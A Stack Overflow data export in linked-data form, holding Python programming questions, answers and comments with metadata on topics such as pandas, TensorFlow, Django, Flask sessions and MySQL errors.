http://stackoverflow.com/comment/86097657
type: AnswerComment
has text: It works, thank you! But then I am wondering why one should import the function from the module and cannot call it directly by using the whole syntax... this seems quite weird to me. Can you explain that?
type: Comment
comment on: http://stackoverflow.com/a/49542032
score: 0

http://stackoverflow.com/q/49482383
accepted answer: http://stackoverflow.com/a/49482427
has answer: http://stackoverflow.com/a/49482427
score: -1
favorite count: 0
tagged with: beautifulsoup
type: Question
has title: Using Beautiful Soup how can I return this value and use it as an integer?
linked to: http://stackoverflow.com/q/26825729
downvote count: 2
answer count: 1
upvote count: 1
tagged with: python
has body: This is not the same as extract number from a string as beautiful soup returns a beautiful soup object. I have a local HTML file and I have used BeautifulSoup to Print the text between the pre code tags. This is my current code. from bs4 import BeautifulSoup f = open('/home/stats/trade_result.html', 'r') s = f.read() soup = BeautifulSoup(s,"lxml") pre = soup.find_all('pre') print(pre) This is what gets printed out: last balance: xxxxxx (-0.07%) buy hold: xxxxxx (-0.08%) vs. buy hold: 0.01% 2 trades over 8 days (avg 0.25 trades/day) win/loss: 0/1 error rate: 100.00% ] How can I return the number (2 in this example) that is before "trades over" on the forth line down and use it as an integer later in my program?
duplicate of: http://stackoverflow.com/q/26825729
type: AnsweredQuestion

http://stackoverflow.com/a/49559060
has body: sys.path[0] is an entry created by the Python executable to refer to the directory of the script being run. If no script is being run, e.g. the REPL has been invoked directly, an empty entry representing the current directory is added.
score: 21
type: Answer
answers question: http://stackoverflow.com/q/49559003
downvote count: 0
upvote count: 21

http://stackoverflow.com/q/49476554
tagged with: tree
has answer: http://stackoverflow.com/a/49476728
has comment: http://stackoverflow.com/comment/85956507
score: 0
has comment: http://stackoverflow.com/comment/85955871
has body: from sklearn import tree #Just a basic program. I am just a beginner. clf = tree.DecisionTreeClassifier() X = [[190,84,9], [180,80,9], [175,67,8],[165,60,6],[180,64,7],[180,74,8],[154,56,5],[162,60,8], [184,76,9],[142,46,5],[164,69,8]] Y = ["Male", "Male", "Male", "Female", "Female", "Male", "Female", "Female", "Male", "Female", "Female"] clf = clf.fit(X,Y) prediction = clf.predict([169,58,8]) print(prediction) This is the python code that I have. I have successfully installed the packages, yet I am getting this error. I use the Anaconda distribution with the spyder editor. Please help. Thanks!
has answer: http://stackoverflow.com/a/49493122
has comment: http://stackoverflow.com/comment/85955668
tagged with: scikit-learn
has title: Module sklearn.tree_tree has no attribute DTYPE.
has comment: http://stackoverflow.com/comment/85956456
type: Question
answer count: 2
tagged with: python
type: UnansweredQuestion

http://stackoverflow.com/comment/86031965
score: 0
type: AnswerComment
has text: Thanks for the wonderful answer!. The bottom i'm referring to is similar to the last page of a book. In my case, things are not piled. There are different container widgets, hence i want to change the focus from one container to another. How to do this?
type: Comment
comment on: http://stackoverflow.com/a/49497603

http://stackoverflow.com/comment/86266540
type: Comment
type: QuestionComment
has text: @AnttiHaapala. Thanks! that works, although a little confusing that Base seems to be both the name of my base class and the class that inherits from it. Base = declarative_base(cls=Base)
comment on: http://stackoverflow.com/q/49577805
score: 0

http://stackoverflow.com/a/49536386
score: 14
accepted answer of: http://stackoverflow.com/q/49536332
type: Answer
answers question: http://stackoverflow.com/q/49536332
has comment: http://stackoverflow.com/comment/86079428
upvote count: 14
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86079388
has body: dynamically grouping by all columns except the last one: In [24]: df = pd.DataFrame(data) In [25]: df.groupby(df.columns[:-1].tolist(), as_index=False).agg(lambda x: x.astype(int).sum()).values.tolist() Out[25]: [['Andrew', '1', 17], ['Andrew', '2', 2], ['Peter', '1', 21], ['Sam', '4', 9]]

http://stackoverflow.com/q/49489572
tagged with: python
tagged with: cudnn
has comment: http://stackoverflow.com/comment/85982131
type: AnsweredQuestion
downvote count: 2
has answer: http://stackoverflow.com/a/49496788
has title: Unable to Run Tensorflow/Keras with GPU
answer count: 1
has comment: http://stackoverflow.com/comment/85982892
tagged with: keras
has comment: http://stackoverflow.com/comment/85982558
tagged with: tensorflow
favorite count: 0
type: Question
score: 3
upvote count: 5
accepted answer: http://stackoverflow.com/a/49496788
has comment: http://stackoverflow.com/comment/85981860
has body: I tried to run Keras with my GPU but got the following error: C:\Python36\lib\site-packages\skimage\transform_warps.py:84: UserWarning: The default mode, 'constant', will be changed to 'reflect' in skimage 0.15. warn("The default mode, 'constant', will be changed to 'reflect' in " E C:\tf_jenkins\workspace\rel-win\M\windows-gpu\PY\36\tensorflow\stream_executor\cuda\cuda_dnn.cc:378] Loaded runtime CuDNN library: 7102 (compatibility version 7100) but source was compiled with 7003 (compatibility version 7000). If using a binary install, upgrade your CuDNN library to match. If building from sources, make sure the library loaded at runtime matches a compatible version specified during compile configuration. F C:\tf_jenkins\workspace\rel-win\M\windows-gpu\PY\36\tensorflow\core\kernels\conv_ops.cc:717] Check failed: stream->parent()->GetConvolveAlgorithms( conv_parameters.ShouldIncludeWinogradNonfusedAlgo(), &amp;algorithms) I have tensorflow 1.6, CUDA version: Cuda compilation tools, release 9.0, V9.0.176 Does anyone know whats wrong here?

http://stackoverflow.com/comment/86174525
type: QuestionComment
has text: Python doesn't like positional arguments (like `*theBoard`) after keyword arguments (`specialTest=nametoMove`). Change `specialTest=nametoMove` to just `nametoMove` and it'll work.
score: 1
comment on: http://stackoverflow.com/q/49583152
type: Comment

http://stackoverflow.com/q/49514038
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86468404
score: 5
downvote count: 0
has title: Got an error reading communication packets
has comment: http://stackoverflow.com/comment/86568845
has comment: http://stackoverflow.com/comment/86470621
favorite count: 0
has comment: http://stackoverflow.com/comment/86472615
upvote count: 5
has comment: http://stackoverflow.com/comment/86555082
tagged with: python
tagged with: mysql
has body: I am trying to figure out the reason why I keep occasionally getting the following errors accessing MySQL from Python: 2018-02-13T10:28:22.4616239Z 137675 [Note] Aborted connection 137675 to db: 'unconnected' user: 'username' host: '132.20.21.10' (Got an error reading communication packets) Possible causes, according to the documentation: The client program did not call mysql_close() before exiting. Shouldn't be the case since we have a finally: code block that executes close(). The client had been sleeping more than wait_timeout or interactive_timeout seconds without issuing any requests to the server. See Section 5.1.5, “Server System Variables”. Definitely not. The client program ended abruptly in the middle of a data transfer. Definitely not. The max_allowed_packet variable value is too small or queries require more memory than you have allocated for mysqld. See Section B.5.2.9, “Packet Too Large”. Definitely not. A problem with the thread library that causes interrupts on reads. Has anyone had any issues using python MySQLdb and more specifically mysqlclient https://pypi.python.org/pypi/mysqlclient ? Badly configured TCP/IP. Faulty Ethernets, hubs, switches, cables, and so forth. This can be diagnosed properly only by replacing hardware. Use of Ethernet protocol with Linux, both half and full duplex. Shouldn't be the case since it is working most of the time. If you have any thoughts, they would be greatly appreciated! **** EDIT *** The finally code looks like this: def execute(self, query): try: connection = self.pool.connect() cursor = connection.cursor() cursor.execute(query) data = cursor.fetchall() return data finally: connection.close() return data The pool was initialised as follows: import MySQLdb import sqlalchemy.pool as pool def __init__(self, config, logging_name=None): def getconn(): c = MySQLdb.connect(host=config.host, port=int(config.port), user=config.user,password=config.password,charset='UTF8') return c self.pool = pool.QueuePool(getconn, log…
has comment: http://stackoverflow.com/comment/86242376
type: Question
answer count: 0

http://stackoverflow.com/comment/85954173
has text: Thanks for pointing out a much faster method. I added a new solution to handle n-dimensions based on your method, which should be able to handle image stacks.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49473505
type: Comment

http://stackoverflow.com/q/49482538
has body: I had several python programs and all of them had each virtual environment. I want to run these python programs in Java program. Now I run python program in Java like below: Process process = Runtime.getRuntime().exec(command) but I don't know how to run with virtual enviroment. Can Java program run each Python program with each virtual environment?
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49482552
score: 7
tagged with: java
has answer: http://stackoverflow.com/a/49482552
answer count: 1
downvote count: 0
upvote count: 7
favorite count: 0
type: Question
has title: How Java program can run python program with virtual environment?

http://stackoverflow.com/comment/86018408
comment on: http://stackoverflow.com/a/49495792
score: 0
has text: The colormap seems to be created correctly, it consists of 255 colors. Your problem might be `c=data` where I do not know what `data` is.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/85959379
score: 0
type: Comment
type: QuestionComment
has text: Please see https://stackoverflow.com/a/49345866/610569
comment on: http://stackoverflow.com/q/49454546

http://stackoverflow.com/q/49548972
has body: I'm rendering a Django template with lots of nested loops and if statements. This causes a template output of approximately 30 000 lines. Obviously I need to remove those empty lines! I have tried: {% spaceless %} {% endspaceless %} However I get thrown an error when using it with 'if' statements in between: Invalid block tag on line 447: 'endspaceless', expected 'elif', 'else' or 'endif'. Did you forget to register or load this tag? I have also tried: outputStr = str(result._container[0],'utf-8') outputStr2 = re.sub(r'^$\n', '', outputStr, flags=re.MULTILINE) with result being the HttpResponse object. However the blank lines are not removed and I'm unsure of how to convert the string back to bytes. Then the option exists to use middleware such as this post suggests: How to remove spaces and empty lines from HTML in Django? That seems a bit dangerous to me. SO would like to avoid that. Any help will be appreciated!
answer count: 2
has title: Django Remove all Empty Lines from Template Output
downvote count: 0
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/27781379
accepted answer: http://stackoverflow.com/a/49549048
score: 5
has answer: http://stackoverflow.com/a/50630001
has answer: http://stackoverflow.com/a/49549048
upvote count: 5
tagged with: django
tagged with: python
possible better answer: http://stackoverflow.com/a/50630001
type: AnsweredQuestion

http://stackoverflow.com/comment/86081261
has text: Thanks! Got it working and this has helped a lot. On another note would either of you know how I could restart the function each time it clicked something different. For example, when I click "Once" one line appears then if I click "Twice" two lines appear however, if I go back to "Once" the second line still stays. Think I need a while loop right?
comment on: http://stackoverflow.com/a/49531133
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/86038118
has text: `continue` means "start the loop again", not "move on to the code after the loop". You want `break`. (Maybe; it's hard to say since you don't show where or how `confirm_social_media` gets set.)
comment on: http://stackoverflow.com/q/49516439
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/85915910
has text: Post your forms.py code so we can help
comment on: http://stackoverflow.com/q/49456460
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86982481
score: 0
has text: Finally, I would say that the key point is that each component must be managed / tested independantly, each one providing API and ABI stability ! Change required on interface must go first through a deprecation phase (6months or more) which gives time for other components to be updated.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49545119

http://stackoverflow.com/comment/85973594
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49453516
has text: that would require me to define all the columns which vary in number and can be up to 40 for some of my dataframes
type: AnswerComment

http://stackoverflow.com/q/49488363
has comment: http://stackoverflow.com/comment/85979400
tagged with: python
has title: Python - read a file and save data to tuple
type: AnsweredQuestion
score: 0
has body: I would like to read a specific txt file and get data from it and write it to tuple. The problem is I dont need all data from file, just specific ones. So the text file looks like this: HHSDMSDN1-pool 1.02T 141G 39 22 2.62M 940K **c5t600507680C800000001CBd0 834G 118G** 32 16 2.19M 734K **c5t600507680C00352d0 216G 22.3G** 7 5 434K 206K HHSDMSDN2-pool 1.09T 308G 12 6 744K 83.8K **c5t600507680C800001CDd0 790G 162G** 10 1 617K 12.5K **c5t600507680C8000000037Dd0 203G 34.8G** 1 0 123K 10.2K **c5t600507680C800000387d0 126G 112G** 0 5 5.36K 80.5K HHSDMSDN3-pool 1.13T 33.4G 24 19 1.39M 623K **c5t600507680C80002E6000001CFd0 921G 30.8G** 18 11 1.10M 465K **c5t600507680C80002E600000203d0 235G 2.63G** 5 8 293K 158K Bold text need to go into tuple. Best if first value would be string and next two double/float. so the output will be ((c5t600507680C800000001CBd0, 834, 118), (c5t600507680C00352d0, 216, 22.3), .....)) Any ideas?
answer count: 1
has comment: http://stackoverflow.com/comment/85979391
type: Question
has answer: http://stackoverflow.com/a/49488530
accepted answer: http://stackoverflow.com/a/49488530

http://stackoverflow.com/q/49454384
tagged with: matplotlib
downvote count: 0
has title: appropriate function for pandas series counting
has body: I had pandas series which consists of data values for each day. I am trying to count values for each month. Below I try something like this, but it is hard coded. Is there any way to make it easy or convert it into function which can operate on pandas series. Jan1 = part_date['date'].str.contains('2010-01').sum() Feb2 = part_date['date'].str.contains('2010-02').sum() Mar3 = part_date['date'].str.contains('2010-03').sum() . . . . Nov11 = part_date['date'].str.contains('2010-11').sum() Dec12 = part_date['date'].str.contains('2010-12').sum() total_months = ['2010-01', '2010-02', '2010-03', '2010-04', '2010-05', '2010-06', '2010-07', '2010-08', '2010-09', '2010-10', '2010-11', '2010-12'] part_months = [Jan1, Feb2, Mar3, Apr4, May5, Jun6, Jul7, Aug8, Sep9, Oct10, Nov11, Dec12,] plt.scatter(x = total_months, y = part_months) and then i plot the data, but it is hard coding. the data is pandas series and I want to see the frequency of particular date. e.g the date march month has count of 3000 and April has 5000. the date column which is pandas series look like this 2010-03-19 2010-03-20 2010-03-20 . . . 2010-03-21 . . . 2010-04-15 2010-04-16 I am trying to plot the frequency of date columns for each month. Is there any way to convert it to function or other method so that I can use it.
has comment: http://stackoverflow.com/comment/85911730
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/49454427
answer count: 2
has answer: http://stackoverflow.com/a/49454625
has comment: http://stackoverflow.com/comment/85911832
has answer: http://stackoverflow.com/a/49454427
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/85914719
accepted answer: http://stackoverflow.com/a/49454625
linked to: http://stackoverflow.com/q/17450313
type: AnsweredQuestion
tagged with: pandas
score: 1

http://stackoverflow.com/comment/86027566
comment on: http://stackoverflow.com/q/49511547
type: QuestionComment
has text: I thought about that, but using a boolean array I would be able to choose between "a or nothing" and "b or nothing", but I want to choose "a or b". Is there a way to do this using boolean arrays?
type: Comment
score: 0

http://stackoverflow.com/comment/85987949
comment on: http://stackoverflow.com/q/49491914
score: 0
type: Comment
type: QuestionComment
has text: @noob Well, the answer uses a loop to generate combinations of increasing length, so it's trivial to apply it to your use case... but maybe you'd be happier with [this](https://stackoverflow.com/questions/20762574/combinations-with-two-elements) question?

http://stackoverflow.com/a/49530855
upvote count: 1
answers question: http://stackoverflow.com/q/49529902
type: Answer
accepted answer of: http://stackoverflow.com/q/49529902
score: 1
type: AcceptedAnswer
has body: Make each of the line starts (prefix) into a regular expression and keep a set of the ones you've already seen. import re class DuplicateFinder(object): def __init__(self, *prefixes): self.regexs = [re.compile('^{0}'.format(p)) for p in prefixes] self.duplicates = set() def not_duplicate(self, line): found = reduce(lambda r, p: r or p.search(line), self.regexs, False) if found: if found.re.pattern not in self.duplicates: self.duplicates.add(found.re.pattern) return True else: return False return True df = DuplicateFinder('%start', '%other_start') lines = """%start _CreditsInfo -(half) userCoins { return 1; } %start _CreditsInfo -(half) userLives { return 1; }""".splitlines() result = filter(df.not_duplicate, lines) print '\n'.join(result) Produces: %start _CreditsInfo -(half) userCoins { return 1; } -(half) userLives { return 1; }
downvote count: 0

http://stackoverflow.com/q/49537199
answer count: 1
tagged with: tensorflow
has title: Why does my tensorflow logger output None or twice?
tagged with: python
has answer: http://stackoverflow.com/a/49567528
type: Question
has body: I am using the tensorflow high API tf.estimator.Estimator. If I doesn't set anything about logging. It outputs nothing. But if I set the logging.basic_config like that: logging.basicConfig(format='[%(name)s] : %(asctime)s : %(levelname)s : %(message)s', level=logging.INFO) Then it will output the info twice: INFO:tensorflow:global_step/sec: 1040.93 [tensorflow] : 2018-03-28 22:21:47,788 : INFO : global_step/sec: 1040.93 INFO:tensorflow:loss = 0.027323281, step = 6026 (0.096 sec) [tensorflow] : 2018-03-28 22:21:47,789 : INFO : loss = 0.027323281, step = 6026 (0.096 sec) INFO:tensorflow:Saving checkpoints for 6075 into ./log\model.ckpt. [tensorflow] : 2018-03-28 22:21:47,832 : INFO : Saving checkpoints for 6075 into ./log\model.ckpt. It seems that there has two logger handlers, but I don't know how to solve it?
score: 0
type: UnansweredQuestion

http://stackoverflow.com/q/49442527
has title: How to adjust x axis labels in a seaborn plot?
tagged with: seaborn
type: UnansweredQuestion
tagged with: matplotlib
tagged with: python
has answer: http://stackoverflow.com/a/49458101
has body: I am trying to plot histogram similar to this:Actual plot However, I am unable to customize the x axis labels similar to the above figure. My seaborn plot looks something like this, my plot I want the same x-axis labels ranging from 0 to 25000 with equal interval of 5000. It would be great if anyone can guide me in the right direction? Code for my figure: sns.set_style('darkgrid') kws = dict(linewidth=.3, edgecolor='k') g = sns.FacetGrid(college, hue='Private',size=6, aspect=2, palette = 'coolwarm') g = g.map(plt.hist, 'Outstate', bins=24,alpha = 0.7,**kws).add_legend()
score: 0
answer count: 1
type: Question

http://stackoverflow.com/q/49510684
tagged with: python
tagged with: flask
linked to: http://stackoverflow.com/q/27747578
has answer: http://stackoverflow.com/a/49513758
type: UnansweredQuestion
score: 0
answer count: 1
has title: how to remove session flask python3
type: Question
has body: I used this request GET /logout HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: th,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: session=eyJ1c2VyIjoiYSJ9.DZun3A.LwCROrj6GQicP1v063cYcItu8SQ; Connection: close Upgrade-Insecure-Requests: 1 I used session.clear() in flask python3 i got responds like HTTP/1.0 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 4 Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/ Server: Werkzeug/0.12.2 Python/3.6.3 Date: Tue, 27 Mar 2018 10:18:30 GMT It just set a new cookies. Then i use old cookies before set a new one, but i still got old session how to remove old session?

http://stackoverflow.com/a/49462958
type: Answer
score: 1
upvote count: 1
type: AcceptedAnswer
downvote count: 0
has body: Simply insert the values inside the list Give list as an argument to numpy array import numpy as np age=23 sex="Female" info_list = [age, sex] print("This is list", info_list) numpy_info_list = np.array(info_list) print("This is numpy array", numpy_info_list) Output: This is list [23, 'Female'] This is numpy array ['23' 'Female'] Usually this is not good for predicting to give the data in the raw form Instead you can convert Female to ===> 0 and Male to ====> 1 We should always try to convert the values to numbers Sex is a type of categorical data which can take numerical values One of the solution is to use scikitlearn label encoder for encoding the features if you have too may values for a particular features I know its stupid to use a label encoder to encode the features but it's a solution Here's an example... This is just an example related to sex le = preprocessing.LabelEncoder() &gt;&gt;&gt; le.fit(["male", "female"]) LabelEncoder() &gt;&gt;&gt; list(le.classes_) ['male', 'female'] &gt;&gt;&gt; le.transform(["male", "male", "female"]) array([1, 1, 2]...) Other solution can be to use dictionary: age=23 sex="female" sex_map = {"male": 1, "female": 2} info_list = [age, sex_map[sex]] print("This is list", info_list) Output: This is list [23, 2]
accepted answer of: http://stackoverflow.com/q/49462760
answers question: http://stackoverflow.com/q/49462760

python-mss
type: Tag
tag name: python-mss
tags question: http://stackoverflow.com/q/49556627

http://stackoverflow.com/a/59485569
answers question: http://stackoverflow.com/q/49579684
has body: I think @MatthewScarpino clearly explained the differences between these two methods. Here I try to describe the typical usage of these two methods: from_tensors can be used to construct a larger dataset from several small datasets, i.e., the size (length) of the dataset becomes larger; while from_tensor_slices can be used to combine different elements into one dataset, e.g., combine features and labels into one dataset (that's also why the 1st dimension of the tensors should be the same). That is, the dataset becomes "wider".
score: 13
upvote count: 13
downvote count: 0
type: Answer

http://stackoverflow.com/q/49512948
answer count: 3
has answer: http://stackoverflow.com/a/49513148
tagged with: pandas
has answer: http://stackoverflow.com/a/49513145
tagged with: dataframe
tagged with: python
accepted answer: http://stackoverflow.com/a/49513223
has body: I am using a pandas dataframe and I would like to remove all information after a space occures. My dataframe is similar as this one: import pandas as pd d = {'Australia' : pd.Series([0,'1980 (F)\n\n1957 (T)\n\n',1991], index=['Australia', 'Belgium', 'France']), 'Belgium' : pd.Series([1980,0,1992], index=['Australia','Belgium', 'France']), 'France' : pd.Series([1991,1992,0], index=['Australia','Belgium', 'France'])} df = pd.DataFrame(d, dtype='str') df I am able to remove the values for one specific column, however the split() function does not apply to the whole dataframe. f = lambda x: x["Australia"].split(" ")[0] df = df.apply(f, axis=1) Anyone an idea how I could remove the information after a space occures for each value in the dataframe?
favorite count: 0
type: Question
tagged with: split
downvote count: 0
upvote count: 1
score: 1
has answer: http://stackoverflow.com/a/49513223
possible better answer: http://stackoverflow.com/a/49513148
type: AnsweredQuestion
has title: Remove value after specific character in pandas dataframe
has comment: http://stackoverflow.com/comment/86030726

http://stackoverflow.com/comment/86084443
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49535107
has text: And yes, @datasailor, one of my files is named numbers.py. I have just renamed that file and now, it works without errors. Thanks a lot.

http://stackoverflow.com/q/49479995
has comment: http://stackoverflow.com/comment/85963356
score: 1
has comment: http://stackoverflow.com/comment/85963230
has body: While reading an article on memeory management in python came across few doubts: import copy import memory_profiler @profile def function(): x = list(range(1000000)) # allocate a big list y = copy.deepcopy(x) del x return y if __name__ == "__main__": function() $:python -m memory_profiler memory_profiler_demo.py Filename: memory_profiler_demo.py Line # Mem usage Increment Line Contents ================================================ 4 30.074 MiB 30.074 MiB @profile 5 def function(): 6 61.441 MiB 31.367 MiB x = list(range(1000000)) # allocate a big list 7 111.664 MiB 50.223 MiB y = copy.deepcopy(x)#doubt 1 8 103.707 MiB -7.957 MiB del x #doubt 2 9 103.707 MiB 0.000 MiB return so i have the doubts on line 7 why it took more size to copy the list and second doubt on line 8 why it only frees 7 MiB.
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/89124267
type: Question
tagged with: memory-management
accepted answer: http://stackoverflow.com/a/49480542
has comment: http://stackoverflow.com/comment/85963243
has answer: http://stackoverflow.com/a/49480542
linked to: http://stackoverflow.com/q/15455048
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/85963325
has comment: http://stackoverflow.com/comment/85963014
type: AnsweredQuestion
tagged with: python-2.7
has title: memory management in python using memory_profiler

http://stackoverflow.com/q/49583311
type: AnsweredQuestion
tagged with: python-2.7
score: 0
tagged with: ansible
accepted answer: http://stackoverflow.com/a/50043388
has body: I am working on ansible container example as mentioned in http://docs.ansible.com/ansible-container/getting_started.html and getting error while doing ansible-container build. Container Type is dockers. I am new to Ansible containers module and any help is much appreciated. Thank you!! [user@hostname hello-world]$ sudo pip install ansible-container[docker] Collecting ansible-container[docker] Using cached ansible-container-0.9.2.tar.gz Requirement already satisfied: Jinja2&gt;=2.9 in /usr/lib64/python2.7/site-packages (from ansible-container[docker]) Requirement already satisfied: pip&gt;=6.0 in /usr/lib/python2.7/site-packages (from ansible-container[docker]) Requirement already satisfied: PyYAML&gt;=3.12 in /usr/lib64/python2.7/site-packages (from ansible-container[docker]) Requirement already satisfied: requests&gt;=2 in /usr/lib/python2.7/site-packages (from ansible-container[docker]) Requirement already satisfied: ruamel.yaml&gt;=0.14.2 in /usr/lib64/python2.7/site-packages (from ansible-container[docker]) Requirement already satisfied: six&gt;=1.10 in /usr/lib/python2.7/site-packages (from ansible-container[docker]) Requirement already satisfied: structlog[dev]&gt;=16.1 in /usr/lib/python2.7/site-packages (from ansible-container[docker]) # These are the python requirements for your Ansible Container builder. Requirement already satisfied: docker&gt;=2.4.0 in /usr/lib/python2.7/site-packages (from ansible-container[docker]) Requirement already satisfied: MarkupSafe&gt;=0.23 in /usr/lib/python2.7/site-packages (from Jinja2&gt;=2.9-&gt;ansible-container[docker]) Requirement already satisfied: certifi&gt;=2017.4.17 in /usr/lib/python2.7/site-packages (from requests&gt;=2-&gt;ansible-container[docker]) Requirement already satisfied: chardet&lt;3.1.0,&gt;=3.0.2 in /usr/lib/python2.7/site-packages (from requests&gt;=2-&gt;ansible-container[docker]) Requirement already satisfied: idna&lt;2.7,&gt;=2.5 in /usr/lib/python2.7/site-packages (from requests&gt;=2-&gt;ansible…
answer count: 1
has title: ansible-container build error - dockers
type: Question
has answer: http://stackoverflow.com/a/50043388
tagged with: python
tagged with: docker
has comment: http://stackoverflow.com/comment/86174983

http://stackoverflow.com/q/49559794
tagged with: debugging
has comment: http://stackoverflow.com/comment/86127614
has comment: http://stackoverflow.com/comment/86128094
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86127639
has comment: http://stackoverflow.com/comment/86127839
has comment: http://stackoverflow.com/comment/86127522
tagged with: python
has comment: http://stackoverflow.com/comment/86127875
has answer: http://stackoverflow.com/a/49561186
has title: IndexError: list index out of range right after printing len(list) > 0
has comment: http://stackoverflow.com/comment/86128304
has comment: http://stackoverflow.com/comment/86127710
has body: I literally have these two lines of code in sequence: print(len(counter.ondas)) onda = counter.ondas[-1] I got 13 printed for the first line and it crashed giving me tracebook to the onda = counter.ondas[-1] line saying IndexError: list index out of range right after printing len(list). It works thousands of times before crashing. I have no clue on how to approach this problem. Output for print(counter.ondas): [Onda([&lt;workers.mov.Mov object at 0x244EA050&gt;], [Candle(4, 'GBP_JPY', Timestamp('2017-06-12 16:59:00'), 138.884, 138.897, 138.674, 138.76, 10957.0, True)]), Onda([&lt;workers.mov.Mov object at 0x245073D0&gt;], [Candle(4, 'GBP_JPY', Timestamp('2017-06-12 16:59:00'), 138.884, 138.897, 138.674, 138.76, 10957.0, True)...] Output for print(type(counter.ondas)): &lt;class 'list'&gt; Output for print(isinstance(counter.ondas, list)): True Full Error Traceback Traceback (most recent call last): File "C:\Users\joaoa\AppData\Local\Programs\Python\Python36-32\lib\multiprocessing\pool.py", line 119, in worker result = (True, func(*args, **kwds)) File "C:\Users\joaoa\AppData\Local\Programs\Python\Python36-32\lib\multiprocessing\pool.py", line 44, in mapstar return list(map(*args)) File "C:\Users\joaoa\PycharmProjects\aquitania\general_manager.py", line 88, in load_observer_manager observer_manager.update_load_run_data() File "C:\Users\joaoa\PycharmProjects\aquitania\observer\management\observer_manager.py", line 78, in update_load_run_data self.load_run_data() File "C:\Users\joaoa\PycharmProjects\aquitania\observer\management\observer_manager.py", line 91, in load_run_data self.feeder.exec_df(df[self.start_date:]) File "C:\Users\joaoa\PycharmProjects\aquitania\data_source\feeder.py", line 429, in exec_df self.feed(candle) File "C:\Users\joaoa\PycharmProjects\aquitania\data_source\feeder.py", line 98, in feed self.make_candle(ts, candle, criteria_table) File "C:\Users\joaoa\PycharmProjects\aquitania\data_source\feeder.py", line 126, in make_candle self.set_values(ts, …
has comment: http://stackoverflow.com/comment/86129725
has comment: http://stackoverflow.com/comment/86127688
answer count: 1
has comment: http://stackoverflow.com/comment/86127642
score: 1
has comment: http://stackoverflow.com/comment/86127529
downvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/86129281
tagged with: python-multiprocessing
tagged with: multiprocessing
type: Question
tagged with: python-3.x

http://stackoverflow.com/a/49441555
answers question: http://stackoverflow.com/q/49441403
type: Answer
has body: I've never used pycurl, but your approach is totally over-engineered. This is all you need: import pycurl with open('data.json', 'wb') as buffer: c = pycurl.Curl() c.setopt(c.URL, 'https://api.blockcypher.com/v1/eth/main/txs') c.setopt(c.WRITEDATA, buffer) c.perform() c.close()
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49441403

http://stackoverflow.com/comment/86177215
score: 0
type: AnswerComment
has text: Ok so, it works now but it returns the value as a negative and it minuses 1 off of the final value. So if I change the date in dates.ini to 7 days ago the program will output the number -8 instead of a positive 7. I'm quite new to python which is why I can't figure out what's wrong myself
type: Comment
comment on: http://stackoverflow.com/a/49534368

http://stackoverflow.com/a/49596977
type: Answer
answers question: http://stackoverflow.com/q/49595130
upvote count: 2
score: 2
downvote count: 0
has body: Are they of equal row size? In that case we could use numpy: import numpy as np c = [[1,2], [2,3]] b = [[1,2], [2,0]] output = (np.array(c) == np.array(b)).sum(axis=1).tolist() [2,1] If we got different lengths we could probably zip and use this: output = [(np.array(i[0]) == np.array(i[1])).sum() for i in list(zip(c,b))]
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49595130

http://stackoverflow.com/q/49507641
tagged with: datetime
has comment: http://stackoverflow.com/comment/86019408
has title: DateTimeField - separation in admin panel
tagged with: python
linked to: http://stackoverflow.com/q/16027516
has comment: http://stackoverflow.com/comment/86020050
has comment: http://stackoverflow.com/comment/86021016
type: Question
tagged with: model
answer count: 0
score: 0
type: UnansweredQuestion
tagged with: django
has body: I have two fields from and to. In my application (django 1.11.2), sometimes I do not need an hour, I just need the date itself. But validation does not allow me to save the object and asks for hour. Is it possible to somehow separate it or does the date and time always have to be given in the DateTimeField field? from = models.DateTimeField(blank=True, null=True) to = models.DateTimeField(blank=True, null=True)
has comment: http://stackoverflow.com/comment/86020149
has comment: http://stackoverflow.com/comment/86019407

http://stackoverflow.com/a/49478684
score: 2
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49478361
answers question: http://stackoverflow.com/q/49478361
type: Answer
has comment: http://stackoverflow.com/comment/85961098
has body: If you sort your input list of entries, then the problem is easier: def remove_redundant_entries(entries): split_entries = sorted(entries) valid_entries = [] for entry in split_entries: if any(entry.startswith(p) for p in valid_entries): continue valid_entries.append(entry) return valid_entries Note that any short-circuits as soon as one comparison is true (you it would not compare agains the whole list unless strictly necessary). Also, since the list comes sorted, you are guaranteed that the output will have the minimum number (and highest level) paths. EDIT: If you also need the ability to keep in the list multiple files in the same folder (even if some file names are subsets of others), you just need to modify the sorting criteria: split_entries = sorted(entries, key=lambda x: (x.count(os.sep), -len(x))) With that, folders that are higher in the tree will come earlier (so you'll end up with the minimum number of paths), but within a folder files with longer names will come earlier - so they won't get discarded because of files with shorter (prefix-like) names.
upvote count: 2

http://stackoverflow.com/comment/85937308
score: 0
type: AnswerComment
